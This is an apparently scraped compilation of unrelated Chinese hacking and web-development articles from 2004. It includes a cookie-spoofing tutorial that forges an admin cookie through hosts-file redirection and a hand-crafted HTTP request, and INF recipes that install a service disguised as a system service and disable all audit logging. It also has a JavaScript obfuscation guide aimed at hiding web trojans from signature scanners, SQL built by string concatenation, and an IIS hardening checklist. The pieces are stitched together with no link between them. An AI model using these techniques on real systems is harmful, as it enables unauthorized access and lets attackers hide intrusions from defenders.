2004年10月30日
 
 

1.调用存储过程的一般方法
先假设在sql server中有一存储过程dt_users:
CREATE PROCEDURE [dbo].[dt_users]
AS
select * from users
return
GO
第一种方法是不利用command对象,直接用recordset对象
set rs=server.createobject(“adodb.recordset”)
sql=”exec dt_users”
rs.open sql,conn,1,1 这样就可
第二种方法是利用command对象
set comm=server.createobject(“adodb.command”)
comm.commantype=4
set comm.activeconnection=conn
comm.commandtext=”dbo.dt_users”
set rs=server.createobject(“adodb.recordset”)
rs.open comm,,1,1
2.给存储过程传递参数
如果存储过程中不用参数,而是单一的sql语句,还显示不出调用存储过程的优势!
比如说一bbs的查询,可以按作者和主题查询!则可以建立存储过程如下:
参数keyword为关键字,choose是选择查询的方法。
CREATE PROCEDURE [dbo].[dt_bbs]
@keyword varchar(20)=null,
@choose int=null
as
if @choose=1
select * from bbs where name like @keyword
else
select * from bbs where subject like @keyword
return
go
这样我们调用存储过程时只需将参数传递过去就行了,而省去在asp中来写一段程序
用第一种方法:
set rs=server.createobject(“adodb.recordset”)
sql=”exec dt_bbs ‘”&keyword&”‘,”&choose&”"
rs.open sql,conn,1,1
用第二种方法:
set comm=server.createobject(“adodb.command”)
comm.commantype=4
comm.Parameters.append comm.CreateParameter(“@keyword”,adChar,adParamInput,50,keyword)
comm.Parameters.append comm.CreateParameter(“@keyword”,adInteger,adParamInput,,choose)
set comm.activeconnection=conn
comm.commandtext=”dbo.dt_bbs”
set rs=server.createobject(“adodb.recordset”)
rs.CursorType=3
rs.open comm,,1,1

3.进一步讨论
比较上面我所说的两种在asp种调用存储过程的方法,
第一种方法需要对象少,但recordset对象支持的属性少了很多,比如说:rs.recordcount,rs.pagecount,rs.absolutepage这些属性
都不支持,所以用第一种方法就有局限,比如说要分页显示纪录时,就必须要用到第二种方法。
我们用sql server中的存储过程目的是为了加快速度,但一个存储过程中sql语句有很多时,它的优势特别明显。如果sql语句不是很多,
而我们用第二种方法就必须多创建一个command对象,可能还会减慢速度!所以我们要均衡各方面的利益来使用存储过程。
不过我觉得不过速度怎样,使用存储过程可以使程序更加模块化,便于修改,和调试(可以直接在sql server下调试,而不用在ie下看asp
的结果)。

 
 
_title>czy的cookie欺骗教程
_content>———产生一个COOKIE文件并改变它

   唉,很早就想点关于COOKIE的东东了,主要是网上有不少文章说半天其实也
没有多少实质的东西。
   首先大家明白什么是COOKIE,具体点说如果是98那么它们默认存放在C:\windows\cookies
目录下,如果是2k它们在C:\Documents and Settings\%你的用户名%\Cookies目录下(每个文件都不会超过4KB)
   它们的文件名格式为:你的用户名@产生的COOKIE的网页文件所在的WEB目录[COOKIE改变的次数].txt
   具体的例子:iwam_system@cookie[3].txt
   再来看一看一个最简单的COOKIE文件的内容:
   level
admin
www.locking.8u8.com/cookie/
0
1331699712
29536653
4044081984
29528196
*
  
   最前面的两段为服务器产生的COOKIE内容(level和admin)第三段为产生这个COOKIE文件的网站的域名和WEB目录
这儿就要注意了没有记录产生COOKIE文件的文件名!所以在同一个目录下不同文件产生的COOKIE是同一个文件只是每
产生一次COOKIE的文件名的中括号里的数字就要加1,后面的那些就不管它了我也不懂哈:)
   再来看看如何生成一个COOKIE我以vbs cript为例:

<s cript language=vbs>
document.cookie=”level” & “=” & “user” & “;expires=Monday, 01-Jan-03 12:00:00 GMT”
msgbox document.cookie
</s cript>

  这儿我们特别人注意的是最后一段 “;expires=Monday, 01-Jan-03 12:00:00 GMT”这是用来说明产生的COOKIE文件的
有效时间的,如果没有那么这个COOKIE你将不会在本文开头所说的目录里找到它。这个例子中有效时间是2003年当然你

也就能在本地硬盘上找到它们了。
  另外当用document.cookie来得到COOKIE内容时设置COOKIE有效时间这一段将被忽略(当然这也方便了网站的COOKIE

*作)比如说上面将弹出一个内容为  level=user的对话框

好了现在我们来实战一下:
我的网站叫www.locking.8u8.com在它的COOKIE目录里有两个文件一个是admin1.htm内容就是上面的例子
还有一个文件叫level1.htm内容如下:
<s cript language=vbs>
co=document.cookie
le=mid(co,instr(co,”=”)+1,len(co)-instr(co,”=”)+1)
if le=”user” then
msgbox “you are a user”
else
if le=”admin” then
msgbox “you are a administrator”
else
msgbox “you not login”
end if
end if
</s cript>

当你先浏览admin1.htm后再浏览level1.htm时将弹出一个对话框内容为:”you are a user”,当你没有浏览过
admin1.htm而直接浏览level1.htm将说 “you not login” (注意有的人可能会先浏览admin1.htm后再直接在硬盘
上更改COOKIE的内容当然这样是不行的)

  好了我们的目标就是让我们能在浏览level1时弹个框框说 “you are a administrator” :)
  办法只有两个咯:1)把8u8黑了,然后找到那个level1.htm改了不就可以了不过本篇文章不做讨论哈
                  2)进行COOKIE欺骗,OK LET GO:)

———————————–(我的系统环境一台2kserver+iis5)
第一步:自已做一个文件名叫admin2.htm吧内容如下
<s cript language=vbs>
document.cookie=”level” & “=” & “admin” & “;expires=Monday, 01-Jan-03 12:00:00 GMT”
</s cript>
然后把它放入一个名叫COOKIE的可浏览目录中(COOKIE要位于根目录)

第二步:找到位于C:\WINNT\system32\drivers\etc下的hosts文件在它的后面加上如下一段:

127.0.0.1 www.locking.8u8.com

第三步:仿问www.locking.8u8.com/cookie/admin2.htm(这儿实际是仿问的本机的文件)

第四步:删除hosts中刚才我们添加的内容然后再清掉IE的历史记录

第五步:让我们再次仿问www.locking.8u8.com/cookie/level1.htm

  怎么样我们现在是 administrator了吧(注意仿问网站是一定要在前面加三个w)
 在上一节中我所举的例子是一个存活期很长的COOKIE,对于这种
COOKIE他会生成在我们的本地盘上的,而对于那些关闭浏览器就失效
的COOKIE我们该怎样来进行欺骗伪造呢?
    首先我们应该知道在我第一节的例子中弹那个”you are a administrator”
框框的网页(level1.htm)其实是下载在我的本地然后执行的,也就是说
他对COOKIE的检验读取也是在本地,那如果是在远程服务器上呢?比如
一个ASP程序他又是如何读取我们的COOKIE的呢?
    先来看看基本的东东吧:当我们使用HTTP协议向远程主机发送一个
GET或是POST请求时,那么如果有这个域名的COOKIE存在(不管是在内存中
还是本地盘上的)都将和请求一起发送到服务器去.

下面的就是一个实际的例子:

GET /ring/admin.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM

看到最后一行了吧:)

    然后我们再来看看服务器是如何进行COOKIE检验的,我举了一个简单的例子:
有两个ASP文件一个叫admin.asp,还有一个叫level.asp

———–admin.asp——————
<%response.write now()%>
<%response.write “<br>”%>
<%response.cookies(“level”)=”user”%>
<%response.write “<html><s cript>document.write(document.cookie);</s cript></html>”%>

———–cut here——————-

———–level.asp——————
<%
if  Request.Cookies(“level”)<>”" then
response.write “<html><s cript>document.write(document.cookie);</s cript></html>”
if request.cookies(“level”)=”user” then
response.write “<html><s cript>alert(‘you are a user’);</s cript></html>”
else
    if request.cookies(“level”)=”admin” then
response.write “<html><s cript>alert(‘you are administrator!’);</s cript></html>”
set fso1=server.createobject(“s cripting.filesystemobject”)
set fil=fso1.opentextfile(“d:\sms\ring\a.txt”,8,true)
fil.writeline “you are admin!”
    end if
end if
else
response.write “<html><s cript>alert(‘you are not login’);</s cript></html>”
end if
%>
———–cut here——————-

  说明:当你请求admin.asp时,将产生一个临时的COOKIE(你关闭浏览器就会失效),然后我们不关闭浏览器而
请求level.asp时它就会用request.cookies来提取你发出的请求里面的cookie,如果你的COOKIE里面的内容是
admin的话那么它将用fso对象在服务器产生一个记录文件(a.txt要注意的是我们在实验时要把目录设为可写)

  好了就介绍这么多吧,我们的目的就是让服务器产生a.txt并写入内容”you are admin”还是进行上一节的
域名欺骗吗?不是让我们写一个winsocket程序吧,Let G)

   下面是我们VB+WINSCOKET控件写的一个简单的例子的源代码:

———————–COOKIE SEND—————————————
  Private Sub Command1_Click()
Winsock1.RemotePort = Text3.Text  ’远程主机打开的端口一般都为80
Winsock1.RemoteHost = Text2.Text  ’远程主机的域名也可以输IP
Winsock1.Connect                  ’打开一个SOCKET连接
Command1.Enabled = False          ’一次只能打开一个连接所以要让SEND按钮失效
End Sub

Private Sub winsock1_Connect()
     Winsock1.SendData Text1.Text ‘打开连接成功的话就发送数据
End Sub

Private Sub Command2_Click()
Winsock1.Close
Command1.Enabled = True           ‘关闭连接,让SEND按钮有效
End Sub

Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)    ’接收数据,可以让我们检查数据是否发送成功
Dim tmpstr As String
Winsock1.GetData tmpstr
Text4.Text = tmpstr
End Sub

———————–CUT HERE——————————————–

   好,再让我们看一看具体的过程吧:这儿要用到一个不错的程序WinSock Expert v0.3 beta 1

一步:打开一个IE然后再打开winsock expert选择监视刚才打开的IE窗口的数据包
二步: 在IE地址栏输http://61.139.xx.xx/ring/admin.asp,那个我将看到发出了如下数据

GET /ring/admin.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive

     不要半闭窗口请http://61.139.xx.xx/ring/level.asp,我们又将看到发出了如下数据

GET /ring/level.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM

三步: 好了对第二次发出的数据的最后一行Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就是我们要改的东东,由于level.asp中相应的COOKIE的检验语句为if request.cookies(“level”)=”admin” then
所以我们只要把上面的数据的最后一行改成Cookie: level=admin; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就可以了,后面的东东很重要下面我再说明一下:)

四步: 把改过的数据拷到我编的程序的发送框里面输入端口和域名后。。。。。

五步:到服务器看看是不是生成了那个a.txt里面的内容为”you are admin!

好了不写了,主要还是自已多实验就可以了为了放便大家本文章的程序代码完全公开哈

1.admin.asp和level.asp:     http://locking.8u8.com/cookie/admin.txt和level.txt
2.cookieclient.exe及源代码: http://locking.8u8.com/cookie/cookiesend.zip
3.winsock expert: http://software.tom.com/download.asp?id=7500 或是 http://dxqsoft.myrice.com/

 
 

by:syscon   from:http://bbs.netxeyes.org

本文对inf文件基础知识,将不进行介绍。
关于inf文件的详细结构信息,可参考DDK帮助文档。

一、修改telnet服务,端口改为99,NTLM认证方式为1。
===============================

C:\myinf\Telnet.inf

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall]
AddReg=AddRegName
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0×00010001,99
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0×00010001,1

安装:rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\myinf\telnet.inf

说明:[Version]和[DefaultInstall]是必须的,0×00010001表示REG_DWORD数据类型,0×00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0×00020000表示REG_EXPAND_SZ。
InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
inf文件中的项目都是大小写不敏感的。

二、服务
===============

增加一个服务

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0×10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0×10为独立进程服务,0×20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务注册表项,你会发现其执行路径是这样的:
“ImagePath”=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务注册表项添加一个Security子键,使它看起来更像系统自带的服务

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务注册表项。

三、组策略
==========

1、密码最小6位
[version]
signature=”$CHICAGO$”
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:
secedit /configure /db gp.sdb /cfg gp.inf /quiet

2、关闭所有的”审核策略

echo [version] >1.inf
echo signature=”$CHICAGO$” >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

四、解决XP ipc$连接只有Guest权限
====================

echo [version] >1.inf
echo signature=”$CHICAGO$” >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

 
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "_blank ?>http://www.w3.org/TR/html4/loose.dtd";>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>移位加密ASP by lake2</title>
</head>
<%
but=cint(request.Form("but"))           ‘这个是移位法所移的位数!
if request.QueryString("a")="1" then
     cc=replace(request.Form("nr"),"      "," ")
     cc=replace(cc,vbcrlf,"胡")         ‘这里处理回车换行符
     for i= 1 to len(cc)
           if mid(cc,i,1)<>"胡" then
                 pk=asc(mid(cc,i,1))+but
                 if pk>126 then
                       pk=pk-95
                 elseif pk<32 then
                       pk=pk+95
                 end if
                 temp=temp&chr(pk)
           else
                 temp=temp&"胡"
           end if
     next
end if
%>
<body>
<form name="form1" method="post" action="?a=1">
  <table width="100%"  border="1">
    <tr>
      <td>移位参数:
        <input name="but" type="text" id="but" value="1" size="5">
        *本程序移位参数应介于正负95之间</td>
    </tr>
    <tr>
      <td>明文内容:
        <textarea name="nr" cols="80" rows="15" id="textarea"><%=request.form("nr")%></textarea></td>
    </tr>
    <tr>
      <td><input type="submit" name="Submit" value="转换"></td>
    </tr>
    <tr>
      <td><p>结果:</p>
      <p><%=replace(temp,"""","""""")%></p></td>
    </tr>
  </table>
</form>

<hr>
<div align="center"><br>
  <a href="_blank ?>http://mrhupo.126.com"; target="_blank">by lake2</a></div>
</body>
</html>

 文章作者:icyfoxlovelace/冰狐浪子[EST]
信息来源:《黑客防线》

本文一共介绍了七种方法:
一:最简单的加密解密
二:转义字符”\”的妙用
三:使用Microsoft出品的脚本编码器Script Encoder来进行编码     (自创简单解码)
四:任意添加NUL空字符(十六进制00H)     (自创)
五:无用内容混乱以及换行空格TAB大法
六:自写解密函数法
七:错误的利用                   (自创)

  在做网页时(其实是网页木马呵呵),最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的JAVASCRIPT代码常常被别人轻易的拷贝,实在让自己的心里有点不是滋味,要知道自己写点东西也挺累的……^*^

  但我们也应该清楚地认识到因为JAVASCRIPT代码是在IE中解释执行,要想绝对的保密是不可能的,我们要做的就是尽可能的增大拷贝者复制的难度,让他知难而退(但愿~!~),下面我结合自己这几年来的实践,及个人研究心得,和大家一起来探讨一下网页中JAVASCRIPT代码的加密解密技术

  以加密下面的JAVASCRIPT代码为例:

  一:最简单的加密解密

  大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:

    alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B

如何?还看的懂吗?当然其中的ASCII字符”alert”并没有被加密,如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下:

    %61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B

呵呵!如何?这次是完全都加密了!

当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项 codeString 参数是包含有效 JavaScript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:

是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵

  二:转义字符”\”的妙用

  大家可能对转义字符”\”不太熟悉,但对于JavaScript提供了一些特殊字符如:\n (换行)、 \r (回车)、\’ (单引号 )等应该是有所了解的吧?其实”\”后面还可以跟八进制或十六进制的数字,如字符”a”则可以表示为:”\141″或”\x61″(注意是小写字符”x”),至于双字节字符如汉字”黑”则仅能用十六进制表示为”\u9ED1″(注意是小写字符”u”),其中字符”u”表示是双字节字符,根据这个原理例子代码则可以表示为:

八进制转义字符串如下:

十六进制转义字符串如下:

  这次没有了解码函数,因为JavaScript执行时会自行转换,同样解码也是很简单如下:

就会弹出对话框告诉你解密后的结果!

  三:使用Microsoft出品的脚本编码器Script Encoder来进行编码

  工具的使用就不多介绍啦!我是直接使用JavaScript调用控件Scripting.Encoder完成的编码!代码如下:

编码后的结果如下:

够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:

咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码

如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:

window.execScript( sExpression, sLanguage )

参数:
sExpression: 必选项。字符串(String)。要被执行的代码
sLanguage : 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript

使用时,前面的"window"可以省略不写!

利用它我们可以很好的运行编码后的JavaScript代码,如下:

你可以利用方法二对其中的""号内的字符串再进行编码,使得"JScript.Encode"以及编码特征码"#@~^"不出现,效果会更好!

  四:任意添加NUL空字符(十六进制00H)

  一次偶然的实验,使我发现在HTML网页中任意位置添加任意个数的"空字符",IE照样会正常显示其中的内容,并正常执行其中的JavaScript 代码,而添加的"空字符"我们在用一般的编辑器查看时,会显示形如空格或黑块,使得原码很难看懂,如用记事本查看则"空字符"会变成"空格",利用这个原理加密结果如下:(其中显示的"空格"代表"空字符")

  a     l er   t   (" 黑   客 防 线")     ;  
     
<   /     SC   R   I   P   T>
  
如何?是不是显得乱七八糟的?如果不知道方法的人很难想到要去掉里面的"空字符"(00H)的!

  五:无用内容混乱以及换行空格TAB大法

  在JAVASCRIPT代码中我们可以加入大量的无用字符串或数字,以及无用代码和注释内容等等,使真正的有用代码埋没在其中,并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB,并可以把正常的字符串用"\"来进行换行,这样就会使得代码难以看懂!如我加密后的形式如下:

至少如果我看到这样的代码是不会有心思去分析它的,你哪?

  六:自写解密函数法

  这个方法和一、二差不多,只不过是自己写个函数对代码进行解密,很多VBS病毒使用这种方法对自身进行加密,来防止特征码扫描!下面是我写的一个简单的加密解密函数,

加密代码如下(详细参照文件"加密.htm"):

运行得到加密结果为:o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd

相应的加密后解密的代码如下:

  七:错误的利用

  利用try{}catch(e){}结构对代码进行测试解密,虽然这个想法很好(呵呵,夸夸自己),因为实用性不大,我仅给个例子

  总结,基本上JAVASCRIPT的加密也就这些啦,每种加密都有相应的解密方法,但我想如果你熟练运用上面介绍的方法,并把他们结合起来使用,相信可以解密你的JAVASCRIPT代码的人是几乎没有啦,即使有人可以解密,但因为他本身比较精通JAVASCRIPT脚本,自己完全可以写,也就没有必要盗用你的代码,所以你是安全的!呵呵^*^

阅读: 19935 时间:2004-10-30 4:57:48 来源:黑客基地 编辑:古典辣M° 
 IIS Web服务器安全加固步骤:

  
步骤
注意:

安装和配置 Windows Server 2003。
1.        将<systemroot>\System32\cmd.exe转移到其他目录或更名;
2.        系统帐号尽量少,更改默认帐户名(如Administrator)和描述,密码尽量复杂;
3.        拒绝通过网络访问该计算机(匿名登录;内置管理员帐户;Support_388945a0;Guest;所有非操作系统服务帐户)
4.        建议对一般用户只给予读取权限,而只给管理员和System以完全控制权限,但这样做有可能使某些正常的脚本程序不能执行,或者某些需要写的操作不能完成,这时需要对这些文件所在的文件夹权限进行更改,建议在做更改前先在测试机器上作测试,然后慎重更改。
5.        NTFS文件权限设定(注意文件的权限优先级别比文件夹的权限高):

文件类型
建议的 NTFS 权限
CGI 文件(.exe、.dll、.cmd、.pl)
脚本文件 (.asp)
包含文件(.inc、.shtm、.shtml)
静态内容(.txt、.gif、.jpg、.htm、.html)
Everyone(执行)
Administrators(完全控制)
System(完全控制)

6.        禁止C$、D$一类的缺省共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
AutoShareServer、REG_DWORD、0×0
7.        禁止ADMIN$缺省共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
AutoShareWks、REG_DWORD、0×0
8.        限制IPC$缺省共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
restrictanonymous REG_DWORD 0×0 缺省
0×1 匿名用户无法列举本机用户列表
0×2 匿名用户无法连接本机IPC$共享
说明:不建议使用2,否则可能会造成你的一些服务无法启动,如SQL Server
9.        仅给用户真正需要的权限,权限的最小化原则是安全的重要保障
10.    在本地安全策略->审核策略中打开相应的审核,推荐的审核是:
账户管理 成功 失败
登录事件 成功 失败
对象访问 失败
策略更改 成功 失败
特权使用 失败
系统事件 成功 失败
目录服务访问 失败
账户登录事件 成功 失败
审核项目少的缺点是万一你想看发现没有记录那就一点都没辙;审核项目太多不仅会占用系统资源而且会导致你根本没空去看,这样就失去了审核的意义。 与之相关的是:
在账户策略->密码策略中设定:
密码复杂性要求 启用
密码长度最小值 6位
强制密码历史 5次
最长存留期 30天
在账户策略->账户锁定策略中设定:
账户锁定 3次错误登录
锁定时间 20分钟
复位锁定计数 20分钟
11.    在Terminal Service Configration(远程服务配置)-权限-高级中配置安全审核,一般来说只要记录登录、注销事件就可以了。
12.    解除NetBios与TCP/IP协议的绑定
控制面版——网络——绑定——NetBios接口——禁用 2000:控制面版——网络和拨号连接——本地网络——属性——TCP/IP——属性——高级——WINS——禁用TCP/IP上的NETBIOS
13.    在网络连接的协议里启用TCP/IP筛选,仅开放必要的端口(如80)
14.    通过更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止139空连接
15.    修改数据包的生存时间(TTL)值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)
16.    防止SYN洪水攻击
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
SynAttackProtect REG_DWORD 0×2(默认值为0×0)
17.    禁止响应ICMP路由通告报文
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\interface
PerformRouterDiscovery REG_DWORD 0×0(默认值为0×2)
18.    防止ICMP重定向报文的攻击
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
EnableICMPRedirects REG_DWORD 0×0(默认值为0×1)
19.    不支持IGMP协议
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
IGMPLevel REG_DWORD 0×0(默认值为0×2)
20.    设置arp缓存老化时间设置
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters
ArpCacheLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为120秒)
ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为600)
21.    禁止死网关监测技术
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters
EnableDeadGWDetect REG_DWORD 0×0(默认值为ox1)
22.    不支持路由功能
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters
IPEnableRouter REG_DWORD 0×0(默认值为0×0)


安装和配置 IIS 服务:


1.        仅安装必要的 IIS 组件。(禁用不需要的如FTP 和 SMTP 服务)
2.        仅启用必要的服务和 Web Service 扩展,推荐配置:

UI 中的组件名称
设置
设置逻辑
后台智能传输服务 (BITS) 服务器扩展
启用
BITS 是 Windows Updates 和"自动更新"所使用的后台文件传输机制。如果使用 Windows Updates 或"自动更新"在 IIS 服务器中自动应用 Service Pack 和热修补程序,则必须有该组件。
公用文件
启用
IIS 需要这些文件,一定要在 IIS 服务器中启用它们。
文件传输协议 (FTP) 服务
禁用
允许 IIS 服务器提供 FTP 服务。专用 IIS 服务器不需要该服务。
FrontPage 2002 Server Extensions
禁用
为管理和发布 Web 站点提供 FrontPage 支持。如果没有使用 FrontPage 扩展的 Web 站点,请在专用 IIS 服务器中禁用该组件。
Internet 信息服务管理器
启用
IIS 的管理界面。
Internet 打印
禁用
提供基于 Web 的打印机管理,允许通过 HTTP 共享打印机。专用 IIS 服务器不需要该组件。
NNTP 服务
禁用
在 Internet 中分发、查询、检索和投递 Usenet 新闻文章。专用 IIS 服务器不需要该组件。
SMTP 服务
禁用
支持传输电子邮件。专用 IIS 服务器不需要该组件。
万维网服务
启用
为客户端提供 Web 服务、静态和动态内容。专用 IIS 服务器需要该组件。

万维网服务子组件

UI 中的组件名称
安装选项
设置逻辑
Active Server Page
启用
提供 ASP 支持。如果 IIS 服务器中的 Web 站点和应用程序都不使用 ASP,请禁用该组件;或使用 Web 服务扩展禁用它。
Internet 数据连接器
禁用
通过扩展名为 .idc 的文件提供动态内容支持。如果 IIS 服务器中的 Web 站点和应用程序都不包括 .idc 扩展文件,请禁用该组件;或使用 Web 服务扩展禁用它。
远程管理 (HTML)
禁用
提供管理 IIS 的 HTML 界面。改用 IIS 管理器可使管理更容易,并减少了 IIS 服务器的攻击面。专用 IIS 服务器不需要该功能。
远程桌面 Web 连接
禁用
包括了管理终端服务客户端连接的 Microsoft ActiveX? 控件和范例页面。改用 IIS 管理器可使管理更容易,并减少了 IIS 服务器的攻击面。专用 IIS 服务器不需要该组件。
服务器端包括
禁用
提供 .shtm、.shtml 和 .stm 文件的支持。如果在 IIS 服务器中运行的 Web 站点和应用程序都不使用上述扩展的包括文件,请禁用该组件。
WebDAV
禁用
WebDAV 扩展了 HTTP/1.1 协议,允许客户端发布、锁定和管理 Web 中的资源。专用 IIS 服务器禁用该组件;或使用 Web 服务扩展禁用该组件。
万维网服务
启用
为客户端提供 Web 服务、静态和动态内容。专用 IIS 服务器需要该组件

3.        将IIS目录&数据与系统磁盘分开,保存在专用磁盘空间内。
4.        在IIS管理器中删除必须之外的任何没有用到的映射(保留asp等必要映射即可)
5.        在IIS中将HTTP404 Object Not Found出错页面通过URL重定向到一个定制HTM文件
6.        Web站点权限设定(建议)

Web 站点权限:
授予的权限:

允许

不允许
脚本源访问
不允许
目录浏览
建议关闭
日志访问
建议关闭
索引资源
建议关闭
执行
推荐选择 "仅限于脚本"

7.        建议使用W3C扩充日志文件格式,每天记录客户IP地址,用户名,服务器端口,方法,URI字根,HTTP状态,用户代理,而且每天均要审查日志。(最好不要使用缺省的目录,建议更换一个记日志的路径,同时设置日志的访问权限,只允许管理员和system为Full Control)。
8.        程序安全:
1) 涉及用户名与口令的程序最好封装在服务器端,尽量少的在ASP文件里出现,涉及到与数据库连接地用户名与口令应给予最小的权限;
2) 需要经过验证的ASP页面,可跟踪上一个页面的文件名,只有从上一页面转进来的会话才能读取这个页面。
